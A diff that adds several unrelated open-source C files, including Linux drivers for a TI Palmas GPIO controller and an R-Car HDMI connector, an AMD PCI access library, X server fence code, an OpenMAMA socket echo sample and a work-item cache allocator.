palmas_gpio *pg = gpiochip_get_data(gc); + struct palmas *palmas = pg->palmas; + unsigned int val; + int ret; + unsigned int reg; + int gpio16 = (offset/8); + + offset %= 8; + reg = (gpio16) ? PALMAS_GPIO_DATA_DIR2 : PALMAS_GPIO_DATA_DIR; + + ret = palmas_read(palmas, PALMAS_GPIO_BASE, reg, &val); + if (ret < 0) { + dev_err(gc->parent, "Reg 0x%02x read failed, %d\n", reg, ret); + return ret; + } + + if (val & BIT(offset)) + reg = (gpio16) ? PALMAS_GPIO_DATA_OUT2 : PALMAS_GPIO_DATA_OUT; + else + reg = (gpio16) ? PALMAS_GPIO_DATA_IN2 : PALMAS_GPIO_DATA_IN; + + ret = palmas_read(palmas, PALMAS_GPIO_BASE, reg, &val); + if (ret < 0) { + dev_err(gc->parent, "Reg 0x%02x read failed, %d\n", reg, ret); + return ret; + } + return !!(val & BIT(offset)); +} + +static void palmas_gpio_set(struct gpio_chip *gc, unsigned offset, + int value) +{ + struct palmas_gpio *pg = gpiochip_get_data(gc); + struct palmas *palmas = pg->palmas; + int ret; + unsigned int reg; + int gpio16 = (offset/8); + + offset %= 8; + if (gpio16) + reg = (value) ? + PALMAS_GPIO_SET_DATA_OUT2 : PALMAS_GPIO_CLEAR_DATA_OUT2; + else + reg = (value) ? + PALMAS_GPIO_SET_DATA_OUT : PALMAS_GPIO_CLEAR_DATA_OUT; + + ret = palmas_write(palmas, PALMAS_GPIO_BASE, reg, BIT(offset)); + if (ret < 0) + dev_err(gc->parent, "Reg 0x%02x write failed, %d\n", reg, ret); +} + +static int palmas_gpio_output(struct gpio_chip *gc, unsigned offset, + int value) +{ + struct palmas_gpio *pg = gpiochip_get_data(gc); + struct palmas *palmas = pg->palmas; + int ret; + unsigned int reg; + int gpio16 = (offset/8); + + offset %= 8; + reg = (gpio16) ? PALMAS_GPIO_DATA_DIR2 : PALMAS_GPIO_DATA_DIR; + + /* Set the initial value */ + palmas_gpio_set(gc, offset, value); + + ret = palmas_update_bits(palmas, PALMAS_GPIO_BASE, reg, + BIT(offset), BIT(offset)); + if (ret < 0) + dev_err(gc->parent, "Reg 0x%02x update failed, %d\n", reg, + ret); + return ret; +} + +static int palmas_gpio_input(struct gpio_chip *gc, unsigned offset) +{ + struct palmas_gpio *pg = gpiochip_get_data(gc); + struct palmas *palmas = pg->palmas; + int ret; + unsigned int reg; + int gpio16 = (offset/8); + + offset %= 8; + reg = (gpio16) ? PALMAS_GPIO_DATA_DIR2 : PALMAS_GPIO_DATA_DIR; + + ret = palmas_update_bits(palmas, PALMAS_GPIO_BASE, reg, BIT(offset), 0); + if (ret < 0) + dev_err(gc->parent, "Reg 0x%02x update failed, %d\n", reg, + ret); + return ret; +} + +static int palmas_gpio_to_irq(struct gpio_chip *gc, unsigned offset) +{ + struct palmas_gpio *pg = gpiochip_get_data(gc); + struct palmas *palmas = pg->palmas; + + return palmas_irq_get_virq(palmas, PALMAS_GPIO_0_IRQ + offset); +} + +static const struct palmas_device_data palmas_dev_data = { + .ngpio = 8, +}; + +static const struct palmas_device_data tps80036_dev_data = { + .ngpio = 16, +}; + +static const struct of_device_id of_palmas_gpio_match[] = { + { .compatible = "ti,palmas-gpio", .data = &palmas_dev_data,}, + { .compatible = "ti,tps65913-gpio", .data = &palmas_dev_data,}, + { .compatible = "ti,tps65914-gpio", .data = &palmas_dev_data,}, + { .compatible = "ti,tps80036-gpio", .data = &tps80036_dev_data,}, + { }, +}; +MODULE_DEVICE_TABLE(of, of_palmas_gpio_match); + +static int palmas_gpio_probe(struct platform_device *pdev) +{ + struct palmas *palmas = dev_get_drvdata(pdev->dev.parent); + struct palmas_platform_data *palmas_pdata; + struct palmas_gpio *palmas_gpio; + int ret; + const struct of_device_id *match; + const struct palmas_device_data *dev_data; + + match = of_match_device(of_palmas_gpio_match, &pdev->dev); + if (!match) + return -ENODEV; + dev_data = match->data; + if (!dev_data) + dev_data = &palmas_dev_data; + + palmas_gpio = devm_kzalloc(&pdev->dev, + sizeof(*palmas_gpio), GFP_KERNEL); + if (!palmas_gpio) + return -ENOMEM; + + palmas_gpio->palmas = palmas; + palmas_gpio->gpio_chip.owner = THIS_MODULE; + palmas_gpio->gpio_chip.label = dev_name(&pdev->dev); + palmas_gpio->gpio_chip.ngpio = dev_data->ngpio; + palmas_gpio->gpio_chip.can_sleep = true; + palmas_gpio->gpio_chip.direction_input = palmas_gpio_input; + palmas_gpio->gpio_chip.direction_output = palmas_gpio_output; + palmas_gpio->gpio_chip.to_irq = palmas_gpio_to_irq; + palmas_gpio->gpio_chip.set = palmas_gpio_set; + palmas_gpio->gpio_chip.get = palmas_gpio_get; + palmas_gpio->gpio_chip.parent = &pdev->dev; +#ifdef CONFIG_OF_GPIO + palmas_gpio->gpio_chip.of_node = pdev->dev.of_node; +#endif + palmas_pdata = dev_get_platdata(palmas->dev); + if (palmas_pdata && palmas_pdata->gpio_base) + palmas_gpio->gpio_chip.base = palmas_pdata->gpio_base; + else + palmas_gpio->gpio_chip.base = -1; + + ret = devm_gpiochip_add_data(&pdev->dev, &palmas_gpio->gpio_chip, + palmas_gpio); + if (ret < 0) { + dev_err(&pdev->dev, "Could not register gpiochip, %d\n", ret); + return ret; + } + + platform_set_drvdata(pdev, palmas_gpio); + return ret; +} + +static struct platform_driver palmas_gpio_driver = { + .driver.name = "palmas-gpio", + .driver.owner = THIS_MODULE, + .driver.of_match_table = of_palmas_gpio_match, + .probe = palmas_gpio_probe, +}; + +static int __init palmas_gpio_init(void) +{ + return platform_driver_register(&palmas_gpio_driver); +} +subsys_initcall(palmas_gpio_init); + +static void __exit palmas_gpio_exit(void) +{ + platform_driver_unregister(&palmas_gpio_driver); +} +module_exit(palmas_gpio_exit); + +MODULE_ALIAS("platform:palmas-gpio"); +MODULE_AUTHOR("Laxman Dewangan "); +MODULE_DESCRIPTION("GPIO driver for TI Palmas series PMICs"); +MODULE_LICENSE("GPL v2"); diff --git a/pool/shard011/C/0141744_GnbLibPciAcc.c b/pool/shard011/C/0141744_GnbLibPciAcc.c new file mode 100644 index 0000000000000000000000000000000000000000..e8467d368094632ef6aeec23aead6a0ed1701b66 --- /dev/null +++ b/pool/shard011/C/0141744_GnbLibPciAcc.c @@ -0,0 +1,156 @@ +/* $NoKeywords:$ */ +/** + * @file + * + * Service procedure to access PCI config space registers + * + * + * + * @xrefitem bom "File Content Label" "Release Content" + * @e project: AGESA + * @e sub-project: GNB + * @e \$Revision: 63425 $ @e \$Date: 2011-12-22 11:24:10 -0600 (Thu, 22 Dec 2011) $ + * + */ +/* +***************************************************************************** +* + * Copyright (c) 2008 - 2012, Advanced Micro Devices, Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of Advanced Micro Devices, Inc. nor the names of + * its contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL ADVANCED MICRO DEVICES, INC. BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +* *************************************************************************** +* +*/ + +/*---------------------------------------------------------------------------------------- + * M O D U L E S U S E D + *---------------------------------------------------------------------------------------- + */ +#include "Porting.h" +#include "AMD.h" +#include "amdlib.h" +#include "GnbLibPciAcc.h" +#include "S3SaveState.h" +#include "Filecode.h" +#define FILECODE PROC_GNB_MODULES_GNBCOMMONLIB_GNBLIBPCIACC_FILECODE +/*---------------------------------------------------------------------------------------- + * D E F I N I T I O N S A N D M A C R O S + *---------------------------------------------------------------------------------------- + */ + + +/*---------------------------------------------------------------------------------------- + * T Y P E D E F S A N D S T R U C T U R E S + *---------------------------------------------------------------------------------------- + */ + + +/*---------------------------------------------------------------------------------------- + * P R O T O T Y P E S O F L O C A L F U N C T I O N S + *---------------------------------------------------------------------------------------- + */ + +/*----------------------------------------------------------------------------------------*/ +/** + * Write PCI registers + * + * + * + * @param[in] Address PCI address (as presented in PCI_ADDR.AddressValue) + * @param[in] Width Access width + * @param[in] Value Pointer to value + * @param[in] StdHeader Pointer to standard header + */ +VOID +GnbLibPciWrite ( + IN UINT32 Address, + IN ACCESS_WIDTH Width, + IN VOID *Value, + IN AMD_CONFIG_PARAMS *StdHeader + ) +{ + PCI_ADDR PciAddress; + PciAddress.AddressValue = Address; + if (Width >= AccessS3SaveWidth8) { + S3_SAVE_PCI_WRITE (StdHeader, PciAddress, Width, Value); + } + LibAmdPciWrite (Width, PciAddress, Value, StdHeader); +} + +/*----------------------------------------------------------------------------------------*/ +/** + * Read PCI registers + * + * + * + * @param[in] Address PCI address (as presented in PCI_ADDR.AddressValue) + * @param[in] Width Access width + * @param[out] Value Pointer to value + * @param[in] StdHeader Pointer to standard header + */ + +VOID +GnbLibPciRead ( + IN UINT32 Address, + IN ACCESS_WIDTH Width, + OUT VOID *Value, + IN AMD_CONFIG_PARAMS *StdHeader + ) +{ + PCI_ADDR PciAddress; + PciAddress.AddressValue = Address; + LibAmdPciRead (Width, PciAddress, Value, StdHeader); +} + + + +/*----------------------------------------------------------------------------------------*/ +/** + * Poll PCI reg + * + * + * + * @param[in] Address PCI address (as presented in PCI_ADDR.AddressValue) + * @param[in] Width Access width + * @param[in] Data Data to compare + * @param[in] DataMask AND mask + * @param[in] StdHeader Standard configuration header + */ + +VOID +GnbLibPciPoll ( + IN UINT32 Address, + IN ACCESS_WIDTH Width, + IN VOID *Data, + IN VOID *DataMask, + IN AMD_CONFIG_PARAMS *StdHeader + ) +{ + PCI_ADDR PciAddress; + PciAddress.AddressValue = Address; + if (Width >= AccessS3SaveWidth8) { + S3_SAVE_PCI_POLL (StdHeader, PciAddress, Width, Data, DataMask, 0xffffffff); + } + LibAmdPciPoll (Width, PciAddress, Data, DataMask, 0xffffffff, StdHeader); +} diff --git a/pool/shard011/C/0141745_present_fence.c b/pool/shard011/C/0141745_present_fence.c new file mode 100644 index 0000000000000000000000000000000000000000..8be32e1a78eae67cf3141c662e0d898786aded07 --- /dev/null +++ b/pool/shard011/C/0141745_present_fence.c @@ -0,0 +1,139 @@ +/* + * Copyright © 2013 Keith Packard + * + * Permission to use, copy, modify, distribute, and sell this software and its + * documentation for any purpose is hereby granted without fee, provided that + * the above copyright notice appear in all copies and that both that copyright + * notice and this permission notice appear in supporting documentation, and + * that the name of the copyright holders not be used in advertising or + * publicity pertaining to distribution of the software without specific, + * written prior permission. The copyright holders make no representations + * about the suitability of this software for any purpose. It is provided "as + * is" without express or implied warranty. + * + * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO + * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT OR + * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, + * DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER + * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE + * OF THIS SOFTWARE. + */ + +#ifdef HAVE_DIX_CONFIG_H +#include +#endif + +#include "present_priv.h" +#include +#include +#include + +/* + * Wraps SyncFence objects so we can add a SyncTrigger to find out + * when the SyncFence gets destroyed and clean up appropriately + */ + +struct present_fence { + SyncTrigger trigger; + SyncFence *fence; + void (*callback)(void *param); + void *param; +}; + +/* + * SyncTrigger callbacks + */ +static Bool +present_fence_sync_check_trigger(SyncTrigger *trigger, XSyncValue oldval) +{ + struct present_fence *present_fence = container_of(trigger, struct present_fence, trigger); + + return present_fence->callback != NULL; +} + +static void +present_fence_sync_trigger_fired(SyncTrigger *trigger) +{ + struct present_fence *present_fence = container_of(trigger, struct present_fence, trigger); + + if (present_fence->callback) + (*present_fence->callback)(present_fence->param); +} + +static void +present_fence_sync_counter_destroyed(SyncTrigger *trigger) +{ + struct present_fence *present_fence = container_of(trigger, struct present_fence, trigger); + + present_fence->fence = NULL; +} + +struct present_fence * +present_fence_create(SyncFence *fence) +{ + struct present_fence *present_fence; + + present_fence = calloc (1, sizeof (struct present_fence)); + if (!present_fence) + return NULL; + + present_fence->fence = fence; + present_fence->trigger.pSync = (SyncObject *) fence; + present_fence->trigger.CheckTrigger = present_fence_sync_check_trigger; + present_fence->trigger.TriggerFired = present_fence_sync_trigger_fired; + present_fence->trigger.CounterDestroyed = present_fence_sync_counter_destroyed; + + if (SyncAddTriggerToSyncObject(&present_fence->trigger) != Success) { + free (present_fence); + return NULL; + } + return present_fence; +} + +void +present_fence_destroy(struct present_fence *present_fence) +{ + if (present_fence) { + if (present_fence->fence) + SyncDeleteTriggerFromSyncObject(&present_fence->trigger); + free(present_fence); + } +} + +void +present_fence_set_triggered(struct present_fence *present_fence) +{ + if (present_fence) + if (present_fence->fence) + (*present_fence->fence->funcs.SetTriggered) (present_fence->fence); +} + +Bool +present_fence_check_triggered(struct present_fence *present_fence) +{ + if (!present_fence) + return TRUE; + if (!present_fence->fence) + return TRUE; + return (*present_fence->fence->funcs.CheckTriggered)(present_fence->fence); +} + +void +present_fence_set_callback(struct present_fence *present_fence, + void (*callback) (void *param), + void *param) +{ + present_fence->callback = callback; + present_fence->param = param; +} + +XID +present_fence_id(struct present_fence *present_fence) +{ + if (!present_fence) + return None; + if (!present_fence->fence) + return None; + return present_fence->fence->sync.id; +} diff --git a/pool/shard011/C/0141746_mamaio.c b/pool/shard011/C/0141746_mamaio.c new file mode 100644 index 0000000000000000000000000000000000000000..2f6a9d657a6457b708203ea7587a0bbcdf071206 --- /dev/null +++ b/pool/shard011/C/0141746_mamaio.c @@ -0,0 +1,279 @@ +/* $Id$ + * + * OpenMAMA: The open middleware agnostic messaging API + * Copyright (C) 2011 NYSE Technologies, Inc. + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + * 02110-1301 USA + */ + +/*---------------------------------------------------------------------------- + * This sample application demonstrates how to use mamaIoHandlers. It creates a + * socket an waits for a connection. Upon accepting a connection it creates a + * mamaIoHandler to read from the socket and connects back to the client on + * port 107 (telnet). It echos the users input. Type "quit" to exit. + * + * It accepts the following command line arguments: + * [-port number] The TCP/IP port on which to listen. Defaults to 9998 + * [-q] Quiet mode. Suppress output. + *---------------------------------------------------------------------------*/ + +#include "wombat/port.h" +#include +#include +#include + +#include "mama/mama.h" +#include "mama/io.h" + +static mamaIo gReadHandler = NULL; +static mamaIo gWriteHandler = NULL; + +static int gPort = 9998; +static int gQuietLevel = 0; +static int gFD = 0; + +static mamaBridge gMamaBridge = NULL; +static const char* gMiddleware = "wmw"; +static void parseCommandLine (int argc, const char **argv); +static void initializeMama (void); +static void waitForConection (void); +static void createIOHandlers (void); + +static void MAMACALLTYPE +ioCallback (mamaIo io, mamaIoType ioType, void *closure); + +int main (int argc, const char **argv) +{ + parseCommandLine (argc, argv); + + initializeMama (); + + waitForConection (); + + createIOHandlers (); + + mama_start (gMamaBridge); + + if (gQuietLevel < 2) + { + uint32_t d; + mamaIo_getDescriptor (gReadHandler, &d); + + printf ("Cleaning up FD = %d\n", d); + } + + mamaIo_destroy (gReadHandler); + mamaIo_destroy (gWriteHandler); + + mama_close (); + + shutdown (gFD, SHUT_RDWR); + + return 0; +} + +static void waitForConection (void) +{ + struct sockaddr_in myAddr; + struct sockaddr_in theirAddr; + int s; + + socklen_t len = sizeof (theirAddr); + + memset (&myAddr, 0, sizeof (myAddr)); + + myAddr.sin_family = AF_INET; + myAddr.sin_port = htons (gPort); + myAddr.sin_addr.s_addr = htonl (INADDR_ANY); + + + if (gQuietLevel < 2) + { + printf ("Creating Socket on port %d\n", gPort); + } + + s = socket (PF_INET, SOCK_STREAM, 0); + + if (s < 0) + { + printf ("Error creating socket: %s\n", strerror (errno)); + exit (1); + } + + + if (bind (s, (struct sockaddr *)&myAddr, sizeof (myAddr)) < 0) + { + printf ("Error binding socket: %s\n", strerror (errno)); + exit (1); + } + + printf ("Waiting for a connection on port %d\n", gPort); + + if (listen (s, 1) < 0) + { + printf ("Error listening on socket: %s\n", strerror (errno)); + exit (1); + } + + + gFD = accept (s, (struct sockaddr *)&theirAddr, &len); + + if (gFD < 0) + { + printf ("Error accepting connection: %s\n", strerror (errno)); + exit (1); + } + + if (gQuietLevel < 2) + { + printf ("Accepting connection from %s\n", + inet_ntoa (theirAddr.sin_addr)); + } + + + send (gFD, + "Type \"quit\" to stop server.\n", + strlen ("Type \"quit\" to stop server.\n"), 0 ); +} + +static void MAMACALLTYPE +ioCallback (mamaIo io, mamaIoType ioType, void *closure) +{ + char buffer[1024]; + int len; + + if (io == gReadHandler) + { + len = read (gFD, buffer, 1023); + buffer[len] = '\0'; + + if (gQuietLevel < 2) + { + printf ("READ: %s", buffer); + } + + if (strstr (buffer, "quit")) + { + printf ("QUITING\n"); + mama_stop (gMamaBridge); + return; + } + + send (gFD, buffer, len, 0); + } + else if (io == gWriteHandler) + { + if (gQuietLevel < 1) + { + printf ("WRITE\n"); + } + } +} + +static void createIOHandlers (void) +{ + mama_status status = MAMA_STATUS_OK; + mamaQueue defaultQueue = NULL; + + if (gQuietLevel < 2) + { + printf ("Creating IO Handler\n"); + } + + /*Get the default event queue*/ + mama_getDefaultEventQueue (gMamaBridge, &defaultQueue); + + status = mamaIo_create (&gReadHandler, + defaultQueue, + gFD, + ioCallback, + MAMA_IO_READ, + NULL); + + if (status != MAMA_STATUS_OK) + { + printf ("Error creating mamaIoHandler for READ: %s\n", + mamaStatus_stringForStatus (status)); + exit (1); + } + + status = mamaIo_create (&gWriteHandler, + defaultQueue, + gFD, + ioCallback, + MAMA_IO_WRITE, + NULL); + + if (status != MAMA_STATUS_OK) + { + printf ("Error creating mamaIoHandler for WRITE: %s\n", + mamaStatus_stringForStatus (status)); + exit (1); + } +} + +void initializeMama (void) +{ + mama_status status = MAMA_STATUS_OK; + + if (MAMA_STATUS_OK != + (status = mama_loadBridge (&gMamaBridge, gMiddleware))) + { + printf ("Error loading %s bridge : %s\n", + gMiddleware, + mamaStatus_stringForStatus (status)); + exit (status); + } + + status = mama_open (); + + if (status != MAMA_STATUS_OK) + { + printf ("Error initializing mama: %s\n", + mamaStatus_stringForStatus (status)); + exit (status); + } +} + +void parseCommandLine (int argc, const char **argv) +{ + int i = 0; + for (i = 1; i < argc; ) + { + if (strcmp ("-p", argv[i]) == 0 || + strcmp ("-port", argv[i]) == 0) + { + gPort = atoi (argv[i+1]); + i += 2; + } + else if (strcmp ("-q", argv[i]) == 0) + { + gQuietLevel++; + i++; + } + else if (strcmp ("-m", argv[i]) == 0) + { + gMiddleware = argv[i+1]; + i += 2; + } + } + + if (gQuietLevel < 2) + { + printf ("Starting IO with:\n" + " port: %d\n", gPort); + } +} diff --git a/pool/shard011/C/0141747_witem_cache.c b/pool/shard011/C/0141747_witem_cache.c new file mode 100644 index 0000000000000000000000000000000000000000..25ae873acf10947b9e7711a52044f92f680e06f6 --- /dev/null +++ b/pool/shard011/C/0141747_witem_cache.c @@ -0,0 +1,203 @@ +/* + * Copyright (c) 2011, Joakim Johansson + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice unmodified, this list of conditions, and the following + * disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include "private.h" + + +/* no witem cache */ + +#if (WITEM_CACHE_TYPE == 1) + +int +witem_cache_init(void) +{ + return (0); +} + +struct work * +witem_alloc(void (*func)(void *), void *func_arg) +{ + struct work *witem; + + while (!(witem = fastpath(malloc(ROUND_UP_TO_CACHELINE_SIZE(sizeof(*witem)))))) { + sleep(1); + } + + witem->gencount = 0; + witem->flags = 0; + witem->item_entry.stqe_next = 0; + witem->func = func; + witem->func_arg = func_arg; + + return witem; +} + +void +witem_free(struct work *wi) +{ + free(wi); +} + +void +witem_cache_cleanup(void *value) +{ +} + +/* libumem based object cache */ + +#elif (WITEM_CACHE_TYPE == 2) + +#include + +static umem_cache_t *witem_cache; + +int +witem_cache_init(void) +{ + witem_cache = umem_cache_create("witem_cache", + sizeof(struct work), + CACHELINE_SIZE, + NULL, + NULL, + NULL, + NULL, + NULL, + 0); + return (0); +} + +struct work * +witem_alloc(void (*func)(void *), void *func_arg) +{ + struct work *witem; + + while (!(witem = fastpath(umem_cache_alloc(witem_cache, UMEM_DEFAULT)))) { + sleep(1); + } + + witem->gencount = 0; + witem->flags = 0; + witem->item_entry.stqe_next = 0; + witem->func = func; + witem->func_arg = func_arg; + + return witem; +} + +void +witem_free(struct work *wi) +{ + umem_cache_free(witem_cache, wi); + return; +} + +void +witem_cache_cleanup(void *value) +{ +} + +/* TSD based cacheing per thread */ + +#elif (WITEM_CACHE_TYPE == 3) + +pthread_key_t witem_cache_key; + +int +witem_cache_init(void) +{ + pthread_key_create(&witem_cache_key, witem_cache_cleanup); + return (0); +} + +static struct work * +witem_alloc_from_heap(void) +{ + struct work *witem; + + while (!(witem = fastpath(malloc(ROUND_UP_TO_CACHELINE_SIZE(sizeof(*witem)))))) { + sleep(1); + } + + witem->gencount = 0; + witem->flags = 0; + witem->item_entry.stqe_next = 0; + + return witem; +} + +struct work * +witem_alloc(void (*func)(void *), void *func_arg) +{ + struct work *witem = fastpath(pthread_getspecific(witem_cache_key)); + if (witem) + { + pthread_setspecific(witem_cache_key, witem->wi_next); + } + else + { + witem = witem_alloc_from_heap(); + } + + witem->func = func; + witem->func_arg = func_arg; + + return witem; +} + +void +witem_free(struct work *witem) +{ + struct work *prev_wi = pthread_getspecific(witem_cache_key); + + witem->wi_next = prev_wi; + + // We need to initialize here also... + witem->gencount = 0; + witem->flags = 0; + witem->item_entry.stqe_next = 0; + witem->func = NULL; + witem->func_arg = NULL; + + pthread_setspecific(witem_cache_key, witem); +} + +void +witem_cache_cleanup(void *value) +{ + struct work *wi, *next_wi = value; + + while ((wi = next_wi)) { + next_wi = wi->wi_next; + free(wi); + } +} +#else + +#error Invalid witem cache type specified + +#endif diff --git a/pool/shard011/C/0141748_rcar_du_hdmicon.c b/pool/shard011/C/0141748_rcar_du_hdmicon.c new file mode 100644 index 0000000000000000000000000000000000000000..ca94b029ac80ca664c0a53631328eaf90e971754 --- /dev/null +++ b/pool/shard011/C/0141748_rcar_du_hdmicon.c @@ -0,0 +1,123 @@ +/* + * R-Car Display Unit HDMI Connector + * + * Copyright (C) 2014 Renesas Electronics Corporation + * + * Contact: Laurent Pinchart (laurent.pinchart@ideasonboard.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + */ + +#include +#include +#include +#include + +#include "rcar_du_drv.h" +#include "rcar_du_encoder.h" +#include "rcar_du_hdmicon.h" +#include "rcar_du_kms.h" + +#define to_slave_funcs(e) (to_rcar_encoder(e)->slave.slave_funcs) + +static int rcar_du_hdmi_connector_get_modes(struct drm_connector *connector) +{ + struct rcar_du_connector *con = to_rcar_connector(connector); + struct drm_encoder *encoder = rcar_encoder_to_drm_encoder(con->encoder); + struct drm_encoder_slave_funcs *sfuncs = to_slave_funcs(encoder); + + if (sfuncs->get_modes == NULL) + return 0; + + return sfuncs->get_modes(encoder, connector); +} + +static int rcar_du_hdmi_connector_mode_valid(struct drm_connector *connector, + struct drm_display_mode *mode) +{ + struct rcar_du_connector *con = to_rcar_connector(connector); + struct drm_encoder *encoder = rcar_encoder_to_drm_encoder(con->encoder); + struct drm_encoder_slave_funcs *sfuncs = to_slave_funcs(encoder); + + if (sfuncs->mode_valid == NULL) + return MODE_OK; + + return sfuncs->mode_valid(encoder, mode); +} + +static const struct drm_connector_helper_funcs connector_helper_funcs = { + .get_modes = rcar_du_hdmi_connector_get_modes, + .mode_valid = rcar_du_hdmi_connector_mode_valid, + .best_encoder = rcar_du_connector_best_encoder, +}; + +static void rcar_du_hdmi_connector_destroy(struct drm_connector *connector) +{ + drm_connector_unregister(connector); + drm_connector_cleanup(connector); +} + +static enum drm_connector_status +rcar_du_hdmi_connector_detect(struct drm_connector *connector, bool force) +{ + struct rcar_du_connector *con = to_rcar_connector(connector); + struct drm_encoder *encoder = rcar_encoder_to_drm_encoder(con->encoder); + struct drm_encoder_slave_funcs *sfuncs = to_slave_funcs(encoder); + + if (sfuncs->detect == NULL) + return connector_status_unknown; + + return sfuncs->detect(encoder, connector); +} + +static const struct drm_connector_funcs connector_funcs = { + .dpms = drm_helper_connector_dpms, + .detect = rcar_du_hdmi_connector_detect, + .fill_modes = drm_helper_probe_single_connector_modes, + .destroy = rcar_du_hdmi_connector_destroy, +}; + +int rcar_du_hdmi_connector_init(struct rcar_du_device *rcdu, + struct rcar_du_encoder *renc) +{ + struct drm_encoder *encoder = rcar_encoder_to_drm_encoder(renc); + struct rcar_du_connector *rcon; + struct drm_connector *connector; + int ret; + + rcon = devm_kzalloc(rcdu->dev, sizeof(*rcon), GFP_KERNEL); + if (rcon == NULL) + return -ENOMEM; + + connector = &rcon->connector; + connector->display_info.width_mm = 0; + connector->display_info.height_mm = 0; + connector->interlace_allowed = true; + connector->polled = DRM_CONNECTOR_POLL_HPD; + + ret = drm_connector_init(rcdu->ddev, connector, &connector_funcs, + DRM_MODE_CONNECTOR_HDMIA); + if (ret < 0) + return ret; + + drm_connector_helper_add(connector, &connector_helper_funcs); + ret = drm_connector_register(connector); + if (ret < 0) + return ret; + + drm_helper_connector_dpms(connector, DRM_MODE_DPMS_OFF); + drm_object_property_set_value(&connector->base, + rcdu->ddev->mode_config.dpms_property, DRM_MODE_DPMS_OFF); + + ret = drm_mode_connector_attach_encoder(connector, encoder); + if (ret < 0) + return ret; + + connector->encoder = encoder; + rcon->encoder = renc; + + return 0; +} diff --git a/pool/shard011/C/0141749_thread.c b/pool/shard011/C/0141749_thread.c new file mode 100644 index 0000000000000000000000000000000000000000..2a34812434f3f4f6d5aaa86b9a9a6002a8ec66cd --- /dev/null +++ b/pool/shard011/C/0141749_thread.c @@ -0,0 +1,74 @@ +/* Branch Monitor - Multi-Core version + * Marcus Botacin - 2017 + * Federal University of Paraná (UFPR) + */ + +#include "thread.h" +#include "dbg\debug.h" +#include "BTS\BTS.h" + +extern PDRIVER_OBJECT drv; + +/* generic thread controller */ +void control_thread(int action, int core) +{ + HANDLE thandle; + debug("control_thread"); + switch(action) + { + case LOAD_BTS: + PsCreateSystemThread(&thandle,GENERIC_ALL,NULL,NULL,NULL,ThreadStart,(void*)core); + break; + case UNLOAD_BTS: + PsCreateSystemThread(&thandle,GENERIC_ALL,NULL,NULL,NULL,ThreadStop,(void*)core); + break; + default: + debug("Invalid Option to control_thread"); + break; + /* This function can be expanded here to include more thread actions*/ + } +} + +/* avoid core migration by setting affinity*/ +void thread_attach_to_core(unsigned id) +{ + KAFFINITY mask; + debug("Attaching thread to core"); +#pragma warning( disable : 4305 ) +#pragma warning( disable : 4334 ) + mask=1< + * + * Permission is hereby granted for use on ESPRESSIF SYSTEMS ESP8266 only, in which case, + * it is free of charge, to any person obtaining a copy of this software and associated + * documentation files (the "Software"), to deal 